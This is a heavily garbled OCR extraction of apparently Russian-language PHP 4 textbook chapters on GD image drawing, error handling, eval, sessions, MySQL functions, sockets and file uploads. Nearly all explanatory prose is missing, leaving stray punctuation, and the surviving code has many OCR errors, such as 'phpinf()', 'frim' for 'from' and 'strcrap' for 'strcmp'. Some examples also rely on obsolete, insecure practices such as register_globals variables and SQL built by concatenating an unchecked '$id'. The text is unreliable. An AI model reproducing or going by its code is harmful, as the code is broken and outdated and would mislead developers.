imageColorTransparent($i,$c);
imageFilledRectangle($i,,,imageSX($i)-1,imageSY($i)-1,$);

//
int imageRectangle(int $im, int $xl, int $yl, int $x2, int $y2, int $col)
imageRectangle 1 $coi. ,
imageFilledRectangle ( ) .

int imageLine(int $im, int $xl, int $yl, int $x2, int $y2, int $col)
$im, ($xl,$yl) ($2,$2), $coi.
( . ).
int imageDashedLline(int $im,int $xl,int $yl,int $x2,int $y2,int $col)
imageDashedLine () , imageLine (} ,
, . , , , ,
, imageLine ( ) .


int imageArcfint $im,int $cx,int $cy,int $w,int $h,int $s,int $e,int $c)
imageArc ( ) $im
$s $ ( , ). ,
($x,$y,$w,$h), $w $ , $
$ . ,
, $.


int imageFill(int $im, int $x, int $y, int $col)

imageFill ,
($,$) $coi. ,
,
. ,
, " " ($,$).

23.

325

,
, ,
1 .
int imageFillToBorder(int $ira,

int $x, int $y, int $border, int $col)

imageFiii ,
, , ,
$border.
.

[^

, , 1 . ,
.

int imagePolygon(int $im, list $points, int $num_points, int $col)

$im ,
. - $points, $points[0]=xO, $points[1]=, $points[2]=xl, $points[3]=yl, ..
$num_points , , . Scoi.
int imageFilledPolygonfint $im, list $points, int $num_points, int $col)

imageFiiiedPoiygonO ,
imagePolygon ( ) , : $coi.
, .


int imageSetPixel(int $im, int $x, int $y, int $col)

, . .
$coi $im, ($,$). ,
-
, , ,
, , .

326

IV.

int imageColorAt(int $im,

int $x,

int $y)

ImageSetPixel () -

imageColorAt , , ($,$). ,
RG -.
, , , . , ,
(0,0). ,
- (
), .


GD . , ,
GD.
, . . "" . 5 ( 1 5), . .


int imageLoadFont(string $file)

, 5, . , . , ,
, .
(. 23.1).
, , , ,
.
23.1.

Byte 0-3

long

(nchars)

byte 4-7

long

( 32 )

23.

327

23. 1 ()

byte 8-1 1

long

( ) (width)

byte 12- 15

long

[ ) (height)

byte 16-...

array

,
. , ,

width*height
,


width*height*nchars .
,


, (
, , ).
int imageFontHeight(int $font)

.
int imageFontWidth(int $font)


int imageString(int $im, int $font, int $x, int $y, string $s, int $col)

$s $im, S f o n t $coi.
($,$) , .
int imageStringUptint $im, int $font, int $x, int $y, string $s, int $c)

, , . , -, ($,$).

TrueType
GD PostScript TrueType. , . ., -, ( Windows), -, .

,
FreeType,

328

IV.
http://www.freetype.org. Windows-
.

TrueType.
, , .


list imageTTFText(int $im, int $size, int $angle, int $x, int $y,
int $col, string $fontfile, string $text)
$text $im $col.
, $coi .
$angie , . ($,$) ( ). $size ,
. , $fontfile
TTF-, , , .

,
, $fontfile
( )
. , 3
.
, ?..
8 . (,) ,
, ,
. . $angie,
4 .
:
; 23.2. TrueType-

//
$string="Hello world!";
//
$im = imageCreate<300,40) ;
//

23.

329

$black = imageColorAllocate($im, , , 0) ;
$orange = imageColorAllocate ($im, 220, 210, 6 0 ) ;
//
imageFill ($im, 0, 0, $black) ;
// ( times. ttf )
imagettftext ($im, 50, 0,20, 35, $orange, getcwdO . "/times . ttf ", $string) ;
// , PNG
Header ( "Content-type : image/png" ) ;
//
imagePng ($im) ;


list imageTTFBBox ( int $size, int $angle, string $fontfile, string $text)
, ,
$text $size, $angie - . S f o n t f i i e ,
imageTTFText ( ) , , .

, , imageTTFText ( ) . (. 23.2).
23.2. ,

(,)

23

(,)

45

(,)

45

(,)

23.3 , TrueType-,
RGB. , , , (. . 23.1).

330

IV.

\ 23.3.

// imageColorAllocate() ( ),
// RGB-, XXYYZZ, :

// * XX red- ;
// * YY green- ;
// * .ZZ blue- .
// . ,
// $func (, imageColorClosest).
function imageColorHex($im, $c, $func="imageColorAllocate")
{ // ,
for/$i=strlen ($cl; $i<6; $i++) $c='0'.$c;
$r=hexdec(substr($c,0,2));
$g=hexdec(substr($c,2,2));
$b=hexdec(substr($c,4,2));
return $func($im,$r,$g,$b);

// .
//
// (, ttf.php?a=20&f=arial&text=Hi+there)
11 ' 30)
// (80)
if(!@$b) $b="OOAAAA"; // (-)
if(!@$c) $c="FFFFOO"; // (-)
if(!@$d) $d=10;

//

if(!@$f) $f="times";

//

if(!@$text) $text="Hello world!"; //


//
$Bnd=imageTTFBBox($s,$a,getcwd()."/$f.ttf",$text);
// - -
$X=$Y=array();
// SBnd
for($i=0; $i<4; $i++) {
$X[]=$Bnd[$i*2];
$Y[]=$Bnd[$i*2+l];

23.

33

II $d
$MX=max($X) -min($X) +$d*2; //
$MY=max($Y)-min($Y)+$d*2; //
// ,
//
$x=$d+$Bnd[Oi -miri ($X )i-2,
$y=$d+$Bnd[l] -min !SY) +2;
//
$im = imageCreate ($MX, $MY) ;
//
$black = imageColorHex ($im, 0);

// ()

$back = imageColorHex ($im, $b) ; //


$front = imageColorHex ($im, $c) ; //
//
imageFill (Sim, 0, 0, Sback) ;
imageRectangle ($im, 0, , $-1, $MY-1, $black) ;
//
imagettftext ($im,$s,$a, $x+2, $y+2, $black, getcwdO . "/$f . ttf", $text) ;
//
imagettftext ($im, $s,$a, $x, $y, $f ront, getcwd() . "/$f . ttf ", $text) ;
//
Header ("Content-type: image/png") ;
imagePng ($im) ;

23.3 ( ttf . php) , . TrueType-,


, , . .
:
ttf

.php?a=Fpaflycbi&s=Pa3Mep&b=3aflHnftU r BeT&c=U,BeT&d=3a30p&f=<I>oHT&text=TeKCT


(. 23.3).
, , , TTF- ,
(, : /WINDOWS/FONTS Windows). f , . Times.

24

, ,
. ,
. ,
. , .

,
, .
int phpinf()
, -
, ,
. , ( ) :
;
, ;
;
, ;
;
;
HTTP-;
.

24.

333

, . , :
<?
phpinf();
?>

, phpinf ( ) . ,

.
string phpversionO

phpversionO, ,
, , .
int getlastmodO

-- getlastmodO - -
, . ,
,
, , ,
, require include.
timestamp ( , , 1 1970 ),
, :
echo " : " . d a t e ( " d . m . Y H : i . s . " , g e t l a s t m o d O ) ;
// - ' : 13.11.2000 11:23.12'


php.ini.
=, . , ; , ( , ).
Apache,
. httpd.conf .htaccess.

(, php_vaiue; ) , , Apache,
, .

(, , Error_Reporting()),

IV.

334

. 2.

error_reporting
. ,
.
1 , . , .
24.1. ,

ERROR

WARNING

PARSE

NOTICE

16

CORE ERROR

( )

32

CORE WARNING

( )

- 7 (1+2+4), ,
, , (, , ). .

255 ( ), . . , E_ALL, .

magic_quotes_gpc onI off


,
', ", \ ,
. ,
, . ,
, , "":
// -, Go!

24.

335

?>
<form action=<?echo $SCRIPT_NAME?> method=post>
<input type=text name=name value="<?=@HtmlSpecialChars(Sname)?>">
<input type=text name=email value="<?=@HtmlSpecialChars($email)?>">
<input type=submit name=submit value="Go!">
</form>

, : , text . @ ,
( , $name Semaii ).

max_execution_time
( ),
. , "" .

track_vars on/off
.
On, , GET POST, Cookies,

$HTTP_GET_VARS,
$HTTP_POST_VARS $HTTP__COOKIE_VARS .
, , ,
, .
.
2 http://www.php.net.


.
, 500- (Internal
Server Error), . , .
E r r o r _ R e p o r t i n g ( ) .
int E r r o r _ R e p o r t i n g ( [ i n t $level])

IV.

336

, . .
error_reporting , . :
Error^Reporting(1+2+4+8);

, "" " ". ,


( )
, , .

, ( , ).
, 5 . ...


, . @.
, , , . :
if(!Sfilemtime("notextst.txt"))
echo " ! " ;

@ : " ", echo. @


, .
, , ,
f i i e _ e x i s t s ,
,
. :
// ,
if(!file_exists($fname) I t filemtime($fname)<time()-60*60)
MyFunctionForUpdateFile($fname);

:
// ,
if(Sfilemtime($fname)<time{)-60*60)
MyFunctionForUpdateFile($fname);

@. . , , Error_reporting < ) ,
@? -, .

24.

337

@
@.
submit-, , . :
if ( ' empty (Ssubir.it 1 ' echo " ! " ;

?>

, , :
<?
if (@$submit) echo " !"

?>
<form action=<?=$SCRIPT_NAME?> method=post>
<input type=submit name=submit value="Go!">
</form>

@
.

void exit ( )

.
. , .
void die (string $message)

, exit ( ) ,
, $message. , .
die :
$f ilename= ' /path/to/data-file ' ;
$file=fopen ($filename, 'r') or die (" $filename ! ") ;

or - ""
, "".
, . , | \
, =. -

535

IV.

| |
:
$filename='/path/to/data-file' ;
($file=fopen($filename, 'r')) ! I die("He $filename!");

,
| | .

, -, ,
, - .
, ,
- .
?
-, . , , ,
, , - . - , Register_shutdown_function() .
int Register_shutdown_function(string $func)

, .
, exit die; ( ) , , , .
, ,
, .
, "".
. ,
echo, ( , Unix- ,
Windows CGI- echo ).
,
, .
, ,
: , , ,
- - . , ,
- (, , ). -

24.

339

(
).



, . ,
, , ! , . V
.


int eval(string Scode)

: Sst ,
, . - return (, ,
), eval ( ) .
$st ,
PHP-. , :
-, <? ?>;
: , . .;
;
eval ( ) .
, .
$st ,
. ,
eval .

(, )
$st
(, ). , , eval .

. , , , eval ( )
123. 699

340

IV.
false,
- ( , ,
Perl).

, ,
$st, ,
eval ( ) . , -.
, , ,
( ).
, , -,
, eval . :
eval("$a=$b;"); //!
// , , :
eval("\$a=\$b");
/ / :
eval('$a=$b');

, : eval ( ) , ,
? ,
e v a l ( ' f o r ( $ i = 0 ; $i<10; $i++) echo $i; ' ) ;
:
for($i=0; $i<10; $i++) echo $i;

? , ,
. eval ( ) , $st (
) , . , , 100
Fund () . . . Funcioo ( ) , 100 :
i 24.1.
for($i=l; $i<=100; $1++)
eval("function Func$i() { return $i*$i; } " ) ;

- , eval !
, (, ) ,
eval ( ) , . , , , -

24.

341

, eval .
, , :
Parse error: parse error in e v a l . p h p ' 4 )

: e v a l O ' d code-on line 1

,
, eval , "on line"
eval $st. , , - .
,
include. , $fname. :
$code=join("",File($fname));
eval("?>$code<?");

, ... .
:
Sfname , "" . ,
: ,
f read () fgets ( ) .
, , , . ?> <?
? , : ,
eval ( ) ,
PHP-. ,
PHP-, . . ""
. , include
, eval - - . -
?>
, eval "" . .


, 100 , 2 . , , , . , ?
! 24.2. ""
$Funcs=array();
for(Si=0; $i<=100;

342

IV.

$id=uniqid("F") ;
eval ("function $ i d ( ) { return $i*$i; } " ) ;
$Funcs [ ] =$id;

$Funcs, . - ? :
echo $Funcs[12] ();

// 144


echo Funcl2 ( ) ;

,
24.1. , ? . ,
, 12- , ,
, $? :
echo $Funcs[$n] ( ) ;

// Sn-

, ? , :
$F="Func$n";
$F() ;

$F ( eval () , . . , ,
eval ( ) .

, 4 ,
"" , 24.2. create_function ( ) .
string create__function (string $args, string $code)

, ,
$code ( , ). , Sargs.
.
, . :
$Mul=create_function('$,$b', 'return $a*$b;');
$Neg=create__function('$a', 'return ~$a;');
echo $Mul(10,20);

// 200

echo $Neg(2);

// -2

24.

343

,
create^function() !
24.2
c r e a t e _ f u n c t i o n { ) . . ,
.
$Funcs=array() ;
for($i=0; $i<=100; $i++)
$Funcs[]=create_function("","return $i*$i;");
echo $Funcs[12]();

// 144

--
:
$a=array("orange", "apple", "apricot", "lemon");
usort($a,create_function('$a,$b', 'return strcrap($a,$b);'));
foreach($a as $key=>$value) echo "$key: $value<br>\n";



create_function ,
PHP-, . ,
,
, . :
$fname="file.php";
$code=join("",File($fname));
if(create^function("","?>$code<?"))
echo " $fname PHP";
else
echo " $fname - -";

@, ,
, PHP-. , , ,
, , ?> <?.

, ,
HTML- " ". , . ., , , PHP-, .

IV.

344


void usleepfint $micro_seconds)

""
( ). , ,
- , .

sleep ( ) , , , .
int uniqid(string $prefix)

uniqid ,
. $prefix ( 114
) .
0 , uniqic ( ) .
, ,
.
.
, uniqid
" " mt_rand ( ) mds ( ) , .

25


, - 4, , ( ) , (, ),
.

""

-
"".
.

session,
"".
( ), ,

, (
Cookies ),
.
, ( ), . , , .

?
Web- ,
, " ".
CGF ,
.
, ,
. , , ,
. , , HTML. Windows
,
.

IV.

346

, , ( ) , .
,
. , , , .
Web- . ,
- , , "" . ,
, .
: -
. , , . , - ""
, .
,
.


? , , . , : , .
.
,
Cookies .

Cookies , . .

, (
SID), ,
.
, ( ) .
. ,
,
. ,

25.

347

, , . , ""
, .
, ?
, , . ,
: ,
( Unix
/tmp). - ,
.


, , . s e s s i o n _ s t a r t .
(

session.auto_start=l,
. , ,
(, , , ).
session__start () . ,
SID !

void session_start()
,
. .
,
Cookies , , .
,
.
- , . , ,
.

, , , . , ,
register_globals.
register_globals=o, ( -

348

IV.
) , $HTTP_SESSION_VARS.
"" ( ), .


bool session_register(mixed $name [, mixed $namel,

PHP , ,
. session_register.
( , $ ), "",
.

mixed, string? ,
, .
.
, . .

, . , . :
! 25.1.

session_start ( ) ;
session_register ("count") ;
$count=@$count+l ;
?>

<body>
<2></2>

<?=$count?> () . , .
</body>

, .

25.

349



, - .
. ,
, . " " ,

, , .


, ? , . , 25.1. $ count, . ,
, , , . , $count, , "". , , : , , , .
!
- , ,
, . , . , , ,
. -
.
, , , sesA, .
string session_narae([string $newname])

, . $newname , .
, $newname, .

Session_name () ,
! , session_name (_) -

IV.

350

session_start ( ) ,
, .

session_name() ,
PHPSESID.

, , , Cookie, . ,

. , ,
Cookie,
, "" Cookie.

.
<?
session_name("CounterScript"
session_start();
session_register("count");
$count=@$count+l;
?>

<?=$count?> ().

,
. , .


, (siD). , , . ,
SID . SID, , .
. ,
? : ( , SID), .
SID .
( ) SID, " ".
, SID ,
-- .

25.

351

" ", ,
. ( ).
string session id([string Ssid])

SID. $sid, $sid.


, , .
, s e s s i o n _ i d ( ) session^start ( ) , ( "") ,
. , Cookies .
, -- "
" .


, , , .
bool session_is_registered(string $name)

session_is__registered() true, $name , f a l s e .


bool session_unregister(struing $name)

$name
. , , $name . true, , f a l s e .

session unregister() , "", , .


void session_unset ( )

session_unset , session_unregister ( ) ,
( , ,
- ), ,
.

352

IV.

string session_save_path([string $ p a t h ] )

, . , ,
, $path.
.
, , , - . , 4.0.3.


,
,
. , ,
-.
, .


6 , ,
.
, .
.
bool handler_open(string $save_path, string $session_name)

, s e s s i o n _ s t a r t 0 . ,
$session_name. $save__path
, s e s s i o n _ s a v e _ p a t h ( j - . , , .
booi handier_ciose()

, .
string handler^read(string $sid)

,
$sid . , :
1=!;2=2;=;...;

25.

353

, ,
serialize
. , :
fooIi:1;count 1 i: 10;

, , 1, 10.
string handler_write(string $sid, string Sdata)

$sid , handier_open(). $data ,


. ,
Sdata - .
bool handler_destroy(string $sid)

, $sid
.
bool handler_gc(int $maxlifetime)

. . "" ,
, .
handier_gc().
( ), " ", " " (garbage collection) . ., .
? . , , , ,
$ m a x i i f e t i m e . , ""
.
(~

handle_ ( )
, .
session.gc_probability. , ( ),
,
" ".
, ,
.

354

IV.


, , , h a n d l e r . ,
. , .
: ? , , .
void session^ set _save_handler($open,$close,$read,$write,$destroy,$gc)

,
, . $
, , $ close , . $read $write
, ,
. , $destroy,
. , , $,
.
, .

:
, .
sessiondata ,
.
25.2 , . 6 ,
"" .
: 25.2.
// .
/ / , ,
// ,
function ses_fname($key)
{ '

return "sessiondata/".session_name()."/$key";

25.

355

//
function ses_open($save_path, $ses_name) ( return true; }
function ses_close() { return true; }
//
function ses^read($key)

{
// .
$fname=ses_fname($key);
$f=@fopen($fname,"rb"); if(!$f) return "";
//
$st=fread($f,filesize($fname));
fclose($f);
return $st;

//
function ses_write ($key, $val)

(
$fname=ses fname($key);
// ( , ,
// )
@mkdir ($d=dirname (dirname ($f name) ) ,0777) ;
@mkdir (dirname ($f name) , 0777) ;
//
$f =@ f open ($f name, "wb") ;

if(!$f) return "";

fwrite !$f,$val) ;
fclose ($f) ;
return true;

//
function ses_destroy ($key)

{
return @unlink (ses_fname ($key) ) ;

//
function ses_gc ($maxlifetime)

356

IV.

$dir=ses_fname (". ");


//
$d=@opendir($dir); if(!$d) return false;
$DelDir=l; // , ,

//
while(($e=readdir($d))!==false) {
// "",
if($e=="."||$e=="..") continue;
// ?
if(time()-filemtime($fname="$dir/$e")>=$maxlifetime) {
@unlink($fname);
continue;

)
// ,
// .
$DelDir=0;

}
closedir($d);
// ,
//
if($DelDir) @rmdir($dir);
return true;

//
session_set_save_handler(
"ses_open", "ses_close",
"aes_iead", "oes_wiiLe",

"ses_destroy", "ses_gc"

// test
session_name("test");
session_start();
session__register ("count") ;
// ...
$count=@$count+l;

25.

357

<body>
<2></2>


<?=$count?> (). , .
</body>

Cookies
,
Cookies. , Cookies
, .
, Cookies ?

, Cookies ,
. ,
, , , -
Cookies, 20 30%. ? , Cookies "" . , Cookies,
. , . ,
"" , "Love letter"...
, ,
, Cookies .
, ,
Cookies, - , GET. .


SID
si D.

=. : , Cookies . , -

358

IV.

- siD ,
"", Cookies. :
! 25.3. Sesget.php: Cookies |

session_name ( "test" ) ;
session start!);
session_register ( "count" ) ;
$count=Ca$count + l;

<2></2>

<?=$count?> (; . , . <hr>
< href=sesget.php?<?=SID?Click here!</a>
</body>

:
http: //www. somehost . ru/sesget .php

. ,
, ,
--
.
25.3. ,
, , ?
Cookies

, , , Cookies ,
SID ( ) Cookies.
.


, , - <?=SID?>, , ,
? , ,
, , .

25.

359

, , - <?=SID?>, PHP . ,
, , URL. , ,
,
:
<?session_start() ?>
<body>
< href=/path/to/something.php>Click here!</axbr>
<a href=/path/to/something.html?a=aaa&b=bbb>Click here!</axbr>
<a href=/>Click here!</a><br>
</body>

:
http://www.somehost.ru/path/to/something.php?PHPSESSID=8114S36a920bfb01f
http://www.somehost.ru/path/to/something.html?a=aaa&b=bbb&PHPSESSID=86a20
http://www.somehost.ru/?PHPSESSID=8114536a920bfb2a

( , .) : , .
,
URL , .

, session.use_trans_sid.
.

SID? .
, , , ,
, .


, , . ,
,
, , ! i
, Cookies.

360

IV.

,
, , ,
.
<?session_start()?>
<form action=aaa method=post>
</form>

, (Internet Explorer)
HTML:
<form action="aaa" method="post">
<INPUT TYPE=HIDDEN NAME="PHPSESSID" VALUE="Oa717e848e91dbllb524a">
</form>

, . <form> (, , ).
, , .

Cookies
?
, . , s e s s i o n . u s e _ c o o k i e s true
( ).
, Cookies? .

, , . LJRL ( ) , , , . , . ,
s e s s i o n . u s e _ t r a n s _ s i d .

, , , , , Cookies , .
.

26


MySQL
,
. , , ,
(). ,
MySQL. ""
(, Sybase, Oracle . .), MySQL . ,
MySQL, - MySQL. Windows, .


SQL MySQL. . , , MySQL. ,
MySQL.
, MySQL
. (, ) ,
. , , ,
- .
. . (, , , . ).

, ,
Excel, -

362

IV.
, , , , ,
. // ,
.

. ,
(, ) . ,
: " , , 10, ,
word, ". - ( ),
.
, . , Microsoft SQL Sewer 0,01 10 , .
,
" ", .


MySQL ,
, Web- ? , , "" .
, , , . ,
: , . , , . . , . ,
.
, . , /, ,
. , ,
. :
"", .
: . -

26. MySQL

363

, . , - , , . ,
, . , ()
.
, ,
. , . ,

- (, ). -
, .

MySQL
, Web, MySQL.
(, , 100 ) , SQL.
SQL .
, :
/ ;
;
/ ;
.
SQL .
, MySQL.
MySQL -, .
(, )
( ),
. , , .
? : ,
,
.
( , ). ,

IV.

364

, ,
10 .
-,
, MySQL-, .
,
( MySQL- ).
, MySQL : . MySQL
, .
, . ,
, . .
- -,
MySQL .


, , .
mysql_connect ( ) .
int mysql_connect([string $hostname]

[,string $username]

[,string $password])

mysqi_connect MySQL, $hostname (


locaihost, . . ), . . $usemame Spassword ( ,
, ). $hostname : _: ( MySQL
, - , ,
, ).

, . MySQL-
,
mysqi_dose ( ) .
, -

26. MySQL

365

,
.
int mysql_select_db(string $dbname l,int $link_identifier])

MySQL, ,
. . , $link_identifier ( ,
) $dbname.


MySQL (,
),
.
int mysql_errno([int $link_identifier])

. $iink identifier , .
string mysql_error([int $link_identifier])

, ,
. .



,
. - mysqi_query , .
, , ?
, , .
, . .
int mysql_query(string $query [,int $link_identifier])

: MySQL- $query , .
$ q u e r y , SQL.
$ i i n k _ i d e n t i f i e r ,
.

366

IV.

SQL, ,
(, UPDATE, INSERT . .).
. ,
SELECT , , .
,
,
, .
int mysql(string $dbname, string $query [,int $link_identifier])

, mysql_query ,
, $dbname. , , ,
. , $ i i n k _ i d e n t i f i e r
, .

MySQL
, SQL
. ( ) "" . .
( ) V ,
.
mysqi_query ( ) ( mysql ( ) , . ). . , , . .,
. MySQL ,
, (
).
SQL . MySQL.


create table ( , , ...)

(), () .

26. MySQL

367


, MySQL. . , ,
.

, , .
( ) :
[UNSIGNED]
UNSIGNED ,
( 0). ,
?, . 26.1.
26.1. MySQL.

TINYINT

-128 +127

SMALLINT

-32 768 32 767

MEDIUMINT

-8 388 608 8 388 607

INT

-2 147 483 648 2 147 483 647

BIGINT

-9 223 372 036 854 775 808


9 223 372 036 854 775 807


, MySQL , MySQL .
:
[(length,decimals)] [UNSIGNED]

length ( ), PHP, a decimals


, . ,
UNSIGNED . , (. 26.2).

368

IV.
26.2. MySQL

FLOAT

DOUBLE

REAL

DOUBLE

DECIMAL

NUMERIC

DECIMAL

. SELECT , . . "" "" . ,



(. ),
.
,
length , length 1 255.
VARCHAR(length) [BINARY]

( r t r i m o ) .
BINARY, SELECT
. VARCHAR , 255
. ,
. 26.3.
26.3. MySQL

TINYTEXT

255

TEXT
MEDIUMTEXT
LONGTEXT

65 535
16 777 215
4 294 967 295

TEXT, ,
65 536 , LONGTEXT.

26. MySQL

(^

369

, TEXT- ,
VARCHAR-, .

, TEXT,
("abc" "ABC" ). 4 (. 26.4).
26.4. , MySQL

TINYBLOB

255

BLOB

65 535

MEDIUMBLOB

16 777 215

LONGBLOB

4 294 967 295

- ,
" ".

MySQL ,
(. 26.5).
26.5. MySQL

DATE

--

TIME

::

DATETIME

-- : :

TIMESTAMP

timestamp.
timestamp, ,

,
,
MySQL . , TIMESTAMP

370

IV.

, ,
.

MySQL , . ,
,
,
: vaiuel, vaiue2 . . :
ENUM(valuel,value2, values, . . . )
, , ,
(vaiuel, vaiue2 . ., . . ). :
SET ( vaiuel, value2, valueS, . . . )

, 64 . .


,
"" , (, , ) .
. 26.6.
26.6. MySQL

not null

primary

, , (
)
key

auto_increment

Default

, , . . ,
,

. ( .)
, ,

26. MySQL

377


drop table

. ,
, ""
.


insert into (! 2 ...) values('!','2',...)

, ,
, , , . ,
, "" ( , , MySQL, ). ,
not null, ( 0). , , -, . ( ,
) "" , , \, ' .


delete from where

, .
- ,
. :
(id<10) and (name regexp 'a*b') and (age=25)

, , ,
"" , : ( i d < i o + n * 2 3 4 ) .
, ,
. ,
select, update.


select * from where [order by [desc]]

. ,
, .
, , ,
13 .699

372

IV.

, SQL. ,
order by
, (
desc, ). order by .
*. , ,
. , , .
*.


update set(1='!', 1='2', ...) where

, ,
.
, - ,
.

,

MySQL
, . , . :
select count(if(,1,NULL)) from

, MySQL
, ...



,
. ,
,
, Country (), , , , 30 , , :
select distinct from where

26. MySQL

373

=1:, - >=30.
, ,
.



, , , .
, .
,
mysqi num_rows ( ) . , , 10 30 , "" 10
"". , .
, ,
, select .. . from ( , ). , : -- .
.

" " .
"".


int mysql_num_rows(int $result)
mysqi_num_rows ( ) .
,
" ".
int mysql_num_fields(int $result)
, . .,
$resuit. , " ".

IV.

374


int mysql_result (int $result, int $row, mixed $field)

$ field
$row. $ field , , "" .
, , ,
.

,
$ field -,
$row Y-. - . . , .

: ""
. , , , , . . m y s q i _ r e s u i t ( ) . , .


MySQL , , . - : , .
.
array mysql_f etch_row ( int $result)

-
$resuit. ( ), false.
,
mysqi_f etch_row ( ) .
:
$r=mysql_query ("select * frim OurTable where age<30");
while ($Row=mysql_fetch__row ($r) ) (
// $Row
}

, , , . .
m y s q l _ f e t c h _ r o w ( ) f a l s e .

26. MySQL

375

, , , - . .
mysql__fetch__array ( )
.
array mvsql fetch arrayfint Sresult)

mysqi_fetch_array ( )
, .
, . ,
. "" .

: .
: , (, ) , , , . ,
SELECT ( SQL ). , .

mysqi_fetch_row()
mysqi_fetch_array , ,
, .
int mysql_data_seek(int $result, int $rowjnumber)

$resuit
$row_number. m y s q l _ f e t c h _ r o w ( )

m y s q i _ f e t c h _ a r r a y ( ) . f a l s e .



,
.
string mysql_field_name(int $result, int $field_index)

m y s q l _ f i e i d _ n a m e ( ) ,
$fieid_index. -,
, m y s q l _ f e t c h _ a r r a y ( } .

IV.

376

, mysql_field_name "" - .
string mysql_field_type(int. $result,

int $field_offset)

mysqi_fieid_nameo, ,
. , , i n t ,
double . .
int mysql_field_len(int $result,

int $field_offset)

Sresuit. , ,
.
, , . , varchar (
) varchar ( ) , 100.

. - SQL.
string mysql_field_flags(int $result,

int $field_offset)

,
.
, ,
explode ( ) :
$Flags=explode("

",mysql_field_flags($r,$field_offset));

, MySQL ,
. 26.7.
26.7.

not_null

Primary

key

. .
,

Unique_key

Multiple_key

26. MySQL

377
26.7 ()

Unsigned

zerof ill

binary

, . .

auto_increment

timestamp

. MySQLnpn
,

string mysql_field_table(int Sresult,

int $field_offset)

,
$fieid_offset $resuit. ,
, .

MySQL

.

<?
//
mysql_ccnnect("localhost");
//
mysql_select_db("my_database") ;
//
$result = mysql_query{"SELECT * FROM tbl");
//
Sfields = mysql_num_fields($result};
//
$rows
= mysql_num_rows($result};
// (, , ...)
$table = mysql_field_table($result,0);
echo " '$table' $fields $rows <>";
echo " :<>";

378

IV.

/ / ""
for ($i=0; $i<$fields; $i++) {

$type = mysql_field_type($result, $i) ;


$name = mysql_field_name ($result, $i) ;
$len

= mysql_f ield_len ($result, $i) ;

$flags = mysql_field_flags ($result, $i) ;


echo "$type $name Slen $f lags<BR>\n";

MySQL
.
. , ,
. ? .
? , ...
, .
(), , , id. id ,
, id ,
. , , , ( , ),
parent_id, id . , .
.
, id . : id ? , , id
""...
. -
? , , id, . , ,
, , ,
id?
MySQL AUTO_INCREMENT. ,
- ( id) :
int auto_ increment primary key

379

26. MySQL

, ! INSERT ,
MySQL .
1 ,
, .
,
, , "" .

m y s q l _ i n s e r t _ i d ( ) .

int mysql_insert_id([int $link_identifier])


insert. insert, , :
mysql_query("insert into (!, 2) values('','')");
$id=mysql_insert_id();

, $id:
$r=mysql_query("select * from where id=$id");
$Row=mysql_fetch_array($r);


MySQL
. ,
. MySQL V
.
, , .
int mysql list_fields(string $dbname, string $tblname [,int Slink])

mysqi_iist_f ieids ( ) stbiname $dbname,


$iink, ( ). ,
,
mysql field flags() ,

mysql_field_len() ,

mysql_field_name()

380

IV.

mysqi_fieid_type . -1,
.
int mysql_list_tables(string $database [,int $link_identifier])
( ),
, . mysqi_resuit
, 0.

27


,
.
.


, f open ( ) ,
. f open , HTTP. HTTP,
"" , , . "" f sockopen ( ) .
int fsockopen(string $host, int $port [,int &$errno] [,string &$errstr])
f open { } , $host ,
$port. ,
: f read , f w r i t e o , f gets , f e o f o . .
, , false , $ermo $errstr,
( ) . false, $errno 0, ,
. , , Windows TCP/IP.
f sockopen ( ) Unix,
,
. $port 0
$host .
, . . Unix.
() ,
.
, socket_set_biocking() (. ).
27.1 "" , 80
HTTP- GET -

382

IV.

. Htmispeciaichars , HTML .
| 27.1. ""
// Web- www.php.net
$fp = fsockopen("localhost", 80);
//
fputs($fp,"GET / HTTP/1.0\n\n") ;
//
echo "<pre>";
while ( ifeof ($fp) )
echo HtmlSpecialChars (fgets ($fp, 1000) ) ;
echo "</pre>";
//
fclose ($fp) ;

, 80- .
: fsockopeno .
telnet-, FTP , .
int socket_set_blocking(int $sd,

int $mode)


, fsockopeno. ($mode=true) "",
. , , -
"" ,
. ($mode=faise) fgets ( ) ,
. , ,
. , ,
feof ( ) , 27.1.

DNS

DNS- IP-.

27.

383

IP-

string gethostbyaddr(string $ip_address)

, IP-.
$ip_address.

, . $ip__address
. , , , . , /. .
string gethostbyname(string $hostnarae)

IP. , $hostname.
array gethostbynamel(string $hostname)

, ,
IP- $hostname. ,
IP-, DNS- , IP-
. , .
, , ,
IP-. ,
IP- $ip :
$host=gethostbyaddr($ip);
echo gethostbyname($host);

DNS- $host, , , :
$ip=get.hostbyname !$host) ;
echo gethostbyaddr($ip);

IP-

gethostbyaddr ( ) ,
, . , -

384

__

IV.

IP-
. , , ( ) !
. , 195.84 . 1 2 . 3 4 . ,
,
DNS- , : " whitehouse.gov",
195. 8 4 . 12. 34. , :
echo gethostbyaddr{"195.84.12.34") ;

whiiehouse.gov. !
? . , IP- , "" whitehouse.gov.
IP-, , , :
$ip="195. 84. 12.34";

$host=gethostbyaddr ($ip) ;
// , $host==$ip
if ($host==$ip) die (" ip- $ip!");
$check_ip=gethostbyname($host) ;
// , $check_ip==$host
if ($check_ip==$host) die {" Shost!");
// ,
it ($ip==$check_ip)
echo " $ip $host";
else
echo " $ip ! ! !";

? . , , . IP-. ,
. gethostbynamei IP. :
! 27.2.
'

// gethostbyaddr ( ) , ,
// $ip
// . false.
function safe_gethostbyaddr ($ip)

27.

385

{ //
$host=gethostbyaddr ($ip) ;
// ? , .
if ($host==$ip) return $host;
// $host, .
$check ips=gethostbynamel ($host) ;
// , , ?
foreach ($check_ips as $check_ip) (
// , $host .
if ($ip==$check_ip) return $host;
}
// , ,
return false;

// , . . .
echo safe_gethostbyaddr ("195.84.12.34") ;

. :
safe_gethostbyaddr ,
gethostbyaddr ( } ,
. ,
- , safe_gethostbyaddr .

'. .'*-".::.-: .

;;

.,,".:....

V.

28




, , .
HTML HTTP .

,
"" ,
"" ( ).
, , , ,
- . , , , , , ... ,
.1
, , 3. , , , - 1

, , . , , ,
. , "" "" , ,
, (, , "
, ( , )"). ,
.
. . . .- "!"
-.
, , , ,
" " ( ""
. . ). .

V.

390

. , multipart .
: .
.

Multipart-
, , GET POST, :
1=1&2=2&...

, "" ( ) URL-: %,
. .
, multipait- .
<form> :
enctype=multipart/form-data

, , ( ). "-" HTTP:
_\
Content-Disposition: form-data; ="" [; ]\
\

_ ,
( ). , , , , .


, , Browse
. <input>:
<input type=file =_ [size=pa3Mep_non]>

, :
;

28.

39?

;
.
, .


, ,
<input type=fiie> value. To , ,
. : ,
, , .
, HTML . , DHTML
(Dynamic HTML HTML) JavaScript.
, . , JavaScript,
, -
, .
DHTML .
, , , , JavaScript,
,
. ,
